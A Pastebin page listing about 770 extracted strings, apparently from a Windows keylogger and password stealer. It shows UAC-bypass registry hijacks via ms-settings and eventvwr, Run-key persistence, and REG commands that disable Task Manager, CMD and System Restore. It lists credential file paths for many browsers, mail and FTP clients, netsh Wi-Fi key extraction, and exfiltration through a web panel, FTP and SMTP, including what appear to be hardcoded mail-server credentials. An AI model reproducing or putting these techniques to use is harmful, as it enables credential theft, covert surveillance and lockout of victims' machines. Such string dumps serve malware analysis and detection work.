Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1 : .lnk
- 2 : .lnk
- 3 : WScript.Shell
- 4 : CreateShortcut
- 5 : .lnk
- 6 : TargetPath
- 7 : cmd.exe
- 8 : WorkingDirectory
- 9 : Arguments
- 10 : /c start
- 11 : &start
- 12 : & exit
- 13 : IconLocation
- 14 : Save
- 15 : .lnk
- 16 : WScript.Shell
- 17 : CreateShortcut
- 18 : .lnk
- 19 : TargetPath
- 20 : cmd.exe
- 21 : WorkingDirectory
- 22 : Arguments
- 23 : /c start
- 24 : &explorer /root,"%CD%
- 25 : " & exit
- 26 : IconLocation
- 27 : %SystemRoot%\system32\SHELL32.dll,3
- 28 : Save
- 29 : Software\Classes\
- 30 : OpenSubKey
- 31 : OpenSubKey
- 32 : GetValue
- 33 : \DefaultIcon\
- 34 : GetValue
- 35 : smtp
- 36 : appdata
- 37 : \MyApp\MyApp.exe
- 38 : yyyy-MM-dd HH:mm:ss
- 39 : Not resolved yet.
- 40 : SOFTWARE\Microsoft\Windows NT\CurrentVersion
- 41 : ProductId
- 42 : 76487-337-8429955-22614
- 43 : Software\Classes
- 44 : ms-settings\shell\open\command
- 45 : Software\Classes\ms-settings\shell\open\command
- 46 : DelegateExecute
- 47 : Software\Classes
- 48 : ms-settings\shell\open\command
- 49 : C:\Windows\System32\computerdefaults.exe
- 50 : Software\Classes\ms-settings\shell
- 51 : open\command
- 52 : Software\Classes
- 53 : mscfile\shell\open\command
- 54 : C:\Windows\System32\eventvwr.exe
- 55 : Software\Classes\mscfile\shell
- 56 : open\command
- 57 : IsInRole
- 58 : Windows 7
- 59 : Windows 8
- 60 : Windows 10
- 61 : \temp.tmp
- 62 : Windows 10
- 63 : webpanel
- 64 : 2019-05-13
- 65 : yyyy-MM-dd
- 66 : Subtract
- 67 : Software\Microsoft\Windows\CurrentVersion\Run
- 68 : MyApp
- 69 : appdata
- 70 : \MyApp\
- 71 : appdata
- 72 : \MyApp\
- 73 : Software\Microsoft\Windows\CurrentVersion\Run
- 74 : MyApp
- 75 : SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
- 76 : MyApp
- 77 : Shutdown -r -t 5
- 78 : True
- 79 : webpanel
- 80 : webpanel
- 81 : webpanel
- 82 : Johnson
- 83 : Miller
- 84 : michael
- 85 : Abby
- 86 : Emily
- 87 : John
- 88 : root\CIMV2
- 89 : SELECT * FROM Win32_VideoController
- 90 : SELECT * FROM Win32_Processor
- 91 : Name
- 92 : Name
- 93 : AdapterRAM
- 94 : Unknown
- 95 : .jpeg
- 96 : webpanel
- 97 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 98 : screenshots
- 99 : smtp
- 100 : MM/dd/yyyy HH:mm:ss
- 101 : Screen Capture
- 102 : Time:
- 103 : <br>UserName:
- 104 : <br>ComputerName:
- 105 : <br>OSFullName:
- 106 : <br>CPU:
- 107 : <br>RAM:
- 108 : <br>IP:
- 109 : <hr>
- 110 : plastic@parmanand.in
- 111 : yyyy_MM_dd_HH_mm_ss
- 112 : Screen
- 113 : .jpeg
- 114 : /log.tmp
- 115 : MM/dd/yyyy HH:mm:ss
- 116 : webpanel
- 117 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 118 : keylog
- 119 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 120 : keylog
- 121 : <br>[(
- 122 : )]<br>
- 123 : <br>
- 124 : smtp
- 125 : Keystrokes
- 126 : Time:
- 127 : <br>IP :
- 128 : <hr>
- 129 : plastic@parmanand.in
- 130 : Keystrokes
- 131 : Time:
- 132 : <br>UserName:
- 133 : <br>ComputerName:
- 134 : <br>OSFullName:
- 135 : <br>CPU:
- 136 : <br>RAM:
- 137 : <br>IP:
- 138 : <hr>
- 139 : plastic@parmanand.in
- 140 : <br>[(
- 141 : )]<br>
- 142 : <br>
- 143 : yyyy_MM_dd_HH_mm_ss
- 144 : Keystrokes_
- 145 : .html
- 146 : <html>Time:
- 147 : <br>UserName:
- 148 : <br>ComputerName:
- 149 : <br>OSFullName:
- 150 : <br>CPU:
- 151 : <br>RAM:
- 152 : <br>IP:
- 153 : <hr>
- 154 : </html>
- 155 : Keystrokes_
- 156 : .html
- 157 : <html>Time:
- 158 : <br>UserName:
- 159 : <br>ComputerName:
- 160 : <br>OSFullName:
- 161 : <br>CPU:
- 162 : <br>RAM:
- 163 : <br>IP:
- 164 : <hr>
- 165 : </html>
- 166 : <br>[(
- 167 : )]<br>
- 168 : <br>
- 169 : http://checkip.amazonaws.com/
- 170 : Stop
- 171 : Enabled
- 172 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 173 : update
- 174 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 175 : update
- 176 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 177 : info
- 178 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 179 : uninstall
- 180 : uninstall
- 181 : Software\Microsoft\Windows NT\CurrentVersion\Windows
- 182 : Load
- 183 : Software\Microsoft\Windows\CurrentVersion\Run
- 184 : MyApp
- 185 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}client={8}link={9}username={10}password={11}screen_link={12}
- 186 : uninstall
- 187 : uninstall
- 188 : Software\Microsoft\Windows NT\CurrentVersion\Windows
- 189 : Load
- 190 : Software\Microsoft\Windows\CurrentVersion\Run
- 191 : MyApp
- 192 : %ftphost%/
- 193 : %ftpuser%
- 194 : %ftppassword%
- 195 : STOR
- 196 : Length
- 197 : Write
- 198 : Length
- 199 : Length
- 200 : Close
- 201 : %ftphost%/
- 202 : %ftpuser%
- 203 : %ftppassword%
- 204 : STOR
- 205 : MM/dd/yyyy HH:mm:ss
- 206 : type={0}hwid={1}time={2}pcname={3}logdata={4}screen={5}ipadd={6}webcam_link={7}screen_link={8}[passwords]
- 207 : passwords
- 208 : APPDATA
- 209 : \CoreFTP\sites.idx
- 210 : HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\
- 211 : Host
- 212 : HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites
- 213 : Port
- 214 : HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites
- 215 : User
- 216 : HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites
- 217 : HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites
- 218 : Name
- 219 : CoreFTP
- 220 : webpanel
- 221 : client[]={0}link[]={1}username[]={2}password[]={3}
- 222 : smtp
- 223 : URL:
- 224 : <br>
- 225 : Username:
- 226 : <br>
- 227 : Password:
- 228 : <br>
- 229 : Application:
- 230 : <br>
- 231 : <hr>
- 232 : webpanel
- 233 : client[]={0}link[]={1}username[]={2}password[]={3}
- 234 : smtp
- 235 : URL:
- 236 : <br>
- 237 : Username:
- 238 : <br>
- 239 : Password:
- 240 : <br>
- 241 : Application:
- 242 : <br>
- 243 : <hr>
- 244 : smtp
- 245 : Recovered Accounts
- 246 : Time:
- 247 : <br>UserName:
- 248 : <br>ComputerName:
- 249 : <br>OSFullName:
- 250 : <br>CPU:
- 251 : <br>RAM:
- 252 : <br>IP:
- 253 : <hr>
- 254 : plastic@parmanand.in
- 255 : yyyy_MM_dd_HH_mm_ss
- 256 : Recovery_
- 257 : .html
- 258 : <html>Time:
- 259 : <br>UserName:
- 260 : <br>ComputerName:
- 261 : <br>OSFullName:
- 262 : <br>CPU:
- 263 : <br>RAM:
- 264 : <br>IP:
- 265 : <hr>
- 266 : </html>
- 267 : webpanel
- 268 : plastic@parmanand.in
- 269 : plastic@parmanand.in
- 270 : Par$1234
- 271 : mail.parmanand.in
- 272 : :Zone.Identifier
- 273 : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
- 274 : EnableLUA
- 275 : REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- 276 : REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
- 277 : HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System
- 278 : DisableCMD
- 279 : REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- 280 : REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- 281 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
- 282 : DisableRegistryTools
- 283 : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
- 284 : DisableSR
- 285 : REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
- 286 : REG add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
- 287 : SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
- 288 : MSCONFIG.EXE
- 289 : \tmpG
- 290 : .tmp
- 291 : length
- 292 : length must be > 0
- 293 : %filter_list%
- 294 : %urlkey%
- 295 : %PostURL%
- 296 : Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
- 297 : POST
- 298 : application/x-www-form-urlencoded
- 299 : http://checkip.dyndns.org/
- 300 : \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
- 301 : &
- 302 : <
- 303 : >
- 304 : "
- 305 : <br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>
- 306 : <span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span><br>
- 307 : <br><span style=font-size:14px;font-style:normal;text-decoration:none;text-transform:none;color:#0099cc;><b>[
- 308 : </b>
- 309 : <b>]</b> <span style=font-style:normal;text-decoration:none;text-transform:none;color:#000000;>(
- 310 : MM/dd/yyyy HH:mm:ss
- 311 : )</span></span><br>
- 312 : False
- 313 : <font color=#008000>{BACK}</font>
- 314 : </font>
- 315 : <br>
- 316 : <font color=#008000>{ALT+TAB}</font>
- 317 : <font color=#008000>{ALT+F4}</font>
- 318 : <font color=#008000>{TAB}</font>
- 319 : <font color=#008000>{ESC}</font>
- 320 : <font color=#008000>{Win}</font>
- 321 : <font color=#008000>{CAPSLOCK}</font>
- 322 : <font color=#008000>↑</font>
- 323 : <font color=#008000>↓</font>
- 324 : <font color=#008000>←</font>
- 325 : <font color=#008000>→</font>
- 326 : <font color=#008000>{DEL}</font>
- 327 : <font color=#008000>{END}</font>
- 328 : <font color=#008000>{HOME}</font>
- 329 : <font color=#008000>{Insert}</font>
- 330 : <font color=#008000>{NumLock}</font>
- 331 : <font color=#008000>{PageDown}</font>
- 332 : <font color=#008000>{PageUp}</font>
- 333 : <font color=#008000>{ENTER}</font>
- 334 : <br>
- 335 : <font color=#008000>{F1}</font>
- 336 : <font color=#008000>{F2}</font>
- 337 : <font color=#008000>{F3}</font>
- 338 : <font color=#008000>{F4}</font>
- 339 : <font color=#008000>{F5}</font>
- 340 : <font color=#008000>{F6}</font>
- 341 : <font color=#008000>{F7}</font>
- 342 : <font color=#008000>{F8}</font>
- 343 : <font color=#008000>{F9}</font>
- 344 : <font color=#008000>{F10}</font>
- 345 : <font color=#008000>{F11}</font>
- 346 : <font color=#008000>{F12}</font>
- 347 : control
- 348 : <font color=#008000>{CTRL}</font>
- 349 : &
- 350 : <
- 351 : >
- 352 : "
- 353 : None
- 354 : win32_processor
- 355 : processorID
- 356 : WinMgmts:
- 357 : InstancesOf
- 358 : Win32_BaseBoard
- 359 : SerialNumber
- 360 : origin_url
- 361 : username_value
- 362 : password_value
- 363 : \Google\Chrome\User Data\
- 364 : Profile
- 365 : Default
- 366 : \Login Data
- 367 : \Login Data
- 368 : Chrome
- 369 : logins
- 370 : Opera Software\Opera Stable\Login Data
- 371 : Opera
- 372 : logins
- 373 : Yandex\YandexBrowser\User Data\Default\Login Data
- 374 : Yandex
- 375 : logins
- 376 : Firefox
- 377 : Firefox
- 378 : IELibrary
- 379 : IELibrary
- 380 : IELibrary.InternetExplorer
- 381 : GetSavedPasswords
- 382 : UserName
- 383 : Password
- 384 : Browser
- 385 : Major
- 386 : Minor
- 387 : 2F1A6504-0641-44CF-8BB5-3612D865F2E5
- 388 : Windows Secure Note
- 389 : 3CCD5499-87A8-4B10-A215-608888DD3B55
- 390 : Windows Web Password Credential
- 391 : 154E23D0-C644-4E6F-8CE6-5069272F999F
- 392 : Windows Credential Picker Protector
- 393 : 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
- 394 : Web Credentials
- 395 : 77BC582B-F0A6-4E15-4E80-61736B6F3B29
- 396 : Windows Credentials
- 397 : E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
- 398 : Windows Domain Certificate Credential
- 399 : 3E0E35BE-1B77-43E7-B873-AED901B6275B
- 400 : Windows Domain Password Credential
- 401 : 3C886FF3-2669-4AA2-A8FB-3F6759A77548
- 402 : Windows Extended Credential
- 403 : 00000000-0000-0000-0000-000000000000
- 404 : PtrToStructure
- 405 : ToInt64
- 406 : SchemaId
- 407 : pResourceElement
- 408 : pIdentityElement
- 409 : LastModified
- 410 : pPackageSid
- 411 : pAuthenticatorElement
- 412 : IE/Edge
- 413 : \Common Files\Apple\Apple Application Support\plutil.exe
- 414 : \Apple Computer\Preferences\keychain.plist
- 415 : SeaMonkey
- 416 : SeaMonkey
- 417 : Comodo\Dragon\User Data\Default\Login Data
- 418 : Comodo Dragon
- 419 : logins
- 420 : MapleStudio\ChromePlus\User Data\Default\Login Data
- 421 : CoolNovo
- 422 : logins
- 423 : Chromium\User Data\Default\Login Data
- 424 : SRWare Iron
- 425 : logins
- 426 : Torch\User Data\Default\Login Data
- 427 : Torch Browser
- 428 : logins
- 429 : UCBrowser\
- 430 : Login Data
- 431 : journal
- 432 : UC Browser
- 433 : wow_logins
- 434 : PopPassword
- 435 : SmtpPassword
- 436 : Software\IncrediMail\Identities\
- 437 : \Accounts_New
- 438 : PopPassword
- 439 : SmtpPassword
- 440 : EmailAddress
- 441 : SmtpServer
- 442 : incredimail
- 443 : HKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLine
- 444 : current
- 445 : Settings
- 446 : SavePasswordText
- 447 : Settings
- 448 : ReturnAddress
- 449 : Eudora
- 450 : Thunderbird
- 451 : Thunderbird
- 452 : BlackHawk
- 453 : BlackHawk
- 454 : CyberFox
- 455 : CyberFox
- 456 : K-Meleon
- 457 : K-Meleon
- 458 : IceCat
- 459 : IceCat
- 460 : Postbox
- 461 : Postbox
- 462 : signons3.txt
- 463 : objects
- 464 : objects
- 465 : objects
- 466 : Data
- 467 : objects
- 468 : objects
- 469 : Data
- 470 : DecryptTripleDes
- 471 : Flock Browser
- 472 : netsh
- 473 : wlan show profile
- 474 : All User Profile
- 475 : All User Profile * : (?<profile>.*)
- 476 : profile
- 477 : Wi-Fi
- 478 : wlan show profile name="
- 479 : " key=clear
- 480 : Key Content * : (?<password>.*)
- 481 : password
- 482 : No Password!
- 483 : ALLUSERSPROFILE
- 484 : DynDNS\Updater\config.dyndns
- 485 : username=
- 486 : password=
- 487 : t6KzXhCh
- 488 : http://DynDns.com
- 489 : DynDNS
- 490 : APPDATA
- 491 : \FileZilla\recentservers.xml
- 492 : <Server>
- 493 : <Host>
- 494 : <Host>
- 495 : </Host>
- 496 : <Port>
- 497 : </Port>
- 498 : <User>
- 499 : <User>
- 500 : </User>
- 501 : <Pass encoding="base64">
- 502 : <Pass encoding="base64">
- 503 : </Pass>
- 504 : <Pass>
- 505 : <Pass>
- 506 : </Pass>
- 507 : FileZilla
- 508 : SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions
- 509 : HostName
- 510 : UserName
- 511 : Password
- 512 : PublicKeyFile
- 513 : PortNumber
- 514 : [PRIVATE KEY LOCATION: "{0}"]
- 515 : WinSCP
- 516 : APPDATA
- 517 : Username
- 518 : All Users
- 519 : \FlashFXP\3quick.dat
- 520 : port=
- 521 : user=
- 522 : pass=
- 523 : created=
- 524 : FlashFXP
- 525 : SystemDrive
- 526 : \FTP Navigator\Ftplist.txt
- 527 : Server
- 528 : Password
- 529 : No Password
- 530 : User
- 531 : FTP Navigator
- 532 : Programfiles(x86)
- 533 : programfiles
- 534 : \jDownloader\config\database.script
- 535 : programfiles(x86)
- 536 : \jDownloader\config\database.script
- 537 : INSERT INTO CONFIG VALUES('AccountController','
- 538 : JDownloader
- 539 : Software\Paltalk
- 540 : HKEY_CURRENT_USER\Software\Paltalk\
- 541 : http://Paltalk.com
- 542 : Paltalk
- 543 : APPDATA
- 544 : \.purple\accounts.xml
- 545 : APPDATA
- 546 : \.purple\accounts.xml
- 547 : <account>
- 548 : <protocol>
- 549 : </protocol>
- 550 : <name>
- 551 : </name>
- 552 : <password>
- 553 : </password>
- 554 : Pidgin
- 555 : APPDATA
- 556 : \SmartFTP\Client 2.0\Favorites\Quick Connect\
- 557 : APPDATA
- 558 : \SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml
- 559 : <Host>
- 560 : </Host>
- 561 : <Port>
- 562 : </Port>
- 563 : <User>
- 564 : </User>
- 565 : <Password>
- 566 : </Password>
- 567 : <Name>
- 568 : </Name>
- 569 : SmartFTP
- 570 : appdata
- 571 : \Ipswitch\WS_FTP\Sites\ws_ftp.ini
- 572 : appdata
- 573 : \Ipswitch\WS_FTP\Sites\ws_ftp.ini
- 574 : HOST
- 575 : WS_FTP
- 576 : PWD=
- 577 : PWD=
- 578 : Substring
- 579 : Length
- 580 : Length
- 581 : Substring
- 582 : Substring
- 583 : Password decryption failed!
- 584 : Mode
- 585 : Padding
- 586 : CreateDecryptor
- 587 : SystemDrive
- 588 : \cftp\Ftplist.txt
- 589 : ;Server=
- 590 : ;Port=
- 591 : ;Port=
- 592 : ;Password=
- 593 : ;User=
- 594 : ;Anonymous=
- 595 : ;Password=
- 596 : ;User=
- 597 : Name=
- 598 : ;Server=
- 599 : FTPCommander
- 600 : HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC
- 601 : HKEY_CURRENT_USER\SOFTWARE\Vitalwerks\DUC
- 602 : USERname
- 603 : Password
- 604 : UserName
- 605 : Password
- 606 : http://no-ip.com
- 607 : NO-IP
- 608 : http://no-ip.com
- 609 : NO-IP
- 610 : Input text must be a multiple of 4 characters!
- 611 : +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
- 612 : Input contains illegal character '
- 613 : appdata
- 614 : \The Bat!
- 615 : appdata
- 616 : \The Bat!
- 617 : \Account.CFN
- 618 : \Account.CFN
- 619 : TheBat
- 620 : Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- 621 : Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- 622 : Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
- 623 : Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- 624 : Email
- 625 : IMAP Password
- 626 : POP3 Password
- 627 : HTTP Password
- 628 : SMTP Password
- 629 : IMAP Password
- 630 : POP3 Password
- 631 : HTTP Password
- 632 : SMTP Password
- 633 : Email
- 634 : GetBytes
- 635 : SMTP Server
- 636 : SMTP Server
- 637 : SMTP Server
- 638 : Not found!
- 639 : Outlook
- 640 : HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
- 641 : Executable
- 642 : HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
- 643 : FoxmailPath
- 644 : \Storage\
- 645 : \Storage\
- 646 : \mail\
- 647 : \mail\
- 648 : \VirtualStore\Program Files\Foxmail\mail\
- 649 : \VirtualStore\Program Files\Foxmail\mail\
- 650 : \VirtualStore\Program Files (x86)\Foxmail\mail\
- 651 : \VirtualStore\Program Files (x86)\Foxmail\mail\
- 652 : \Accounts\Account.rec0
- 653 : \Account.stg
- 654 : \fox.temp
- 655 : \fox.temp
- 656 : \fox.temp
- 657 : \fox.temp
- 658 : Length
- 659 : Read
- 660 : Close
- 661 : Dispose
- 662 : POP3Host
- 663 : SMTPHost
- 664 : IncomingServer
- 665 : Account
- 666 : MailAddress
- 667 : Password
- 668 : POP3Password
- 669 : !empty!
- 670 : Foxmail
- 671 : No Data!
- 672 : \Opera Mail\Opera Mail\wand.dat
- 673 : \Opera Mail\Opera Mail\wand.dat
- 674 : opera:
- 675 : Opera Mail
- 676 : abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\|';:,<>/?+=
- 677 : appdata
- 678 : \Pocomail\accounts.ini
- 679 : appdata
- 680 : \Pocomail\accounts.ini
- 681 : Email
- 682 : POPPass
- 683 : SMTPPass
- 684 : SMTP
- 685 : PocoMail
- 686 : No data!
- 687 : <array>
- 688 : <dict>
- 689 : Length
- 690 : <string>
- 691 : </string>
- 692 : <string>
- 693 : </string>
- 694 : <data>
- 695 : </data>
- 696 : Safari Browser
- 697 : -convert xml1 -s -o "
- 698 : \fixed_keychain.xml"
- 699 : ABCDEF
- 700 : APPDATA
- 701 : \Mozilla\Firefox\
- 702 : \Postbox\
- 703 : \Thunderbird\
- 704 : \Mozilla\SeaMonkey\
- 705 : \Flock\Browser\
- 706 : \NETGATE Technologies\BlackHawk\
- 707 : \8pecxstudios\Cyberfox\
- 708 : \K-Meleon\
- 709 : \Mozilla\icecat\
- 710 : key4.db
- 711 : key4.db
- 712 : metaData
- 713 : password
- 714 : item1
- 715 : item2
- 716 : nssPrivate
- 717 : a102
- 718 : key3.db
- 719 : key3.db
- 720 : global-salt
- 721 : Version
- 722 : password-check
- 723 : Value
- 724 : global-salt
- 725 : Value
- 726 : Replace
- 727 : Path=([A-z0-9\/\.]+)
- 728 : profiles.ini
- 729 : logins.json
- 730 : logins.json
- 731 : \"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"
- 732 : [^\u0020-\u007F]
- 733 : [^\u0020-\u007F]
- 734 : signons.sqlite
- 735 : moz_logins
- 736 : hostname
- 737 : encryptedUsername
- 738 : encryptedPassword
- 739 : [^\u0020-\u007F]
- 740 : [^\u0020-\u007F]
- 741 : Mode
- 742 : Padding
- 743 : CreateDecryptor
- 744 : TransformFinalBlock
- 745 : Mode
- 746 : Padding
- 747 : CreateDecryptor
- 748 : TransformFinalBlock
- 749 : Mode
- 750 : Padding
- 751 : CreateDecryptor
- 752 : TransformFinalBlock
- 753 : Type
- 754 : Value
- 755 : EndsWith
- 756 : Substring
- 757 : Length
- 758 : IndexOf
- 759 : Substring
- 760 : IndexOf
- 761 : UNIQUE
- 762 : table
- 763 : Software\DownloadManager\Passwords\
- 764 : User
- 765 : EncPassword
- 766 : Internet Download Manager
- 767 : SystemDrive
- 768 : No Data
- 769 : WScript.Shell
- 770 : RegRead
Add Comment
Please, Sign In to add comment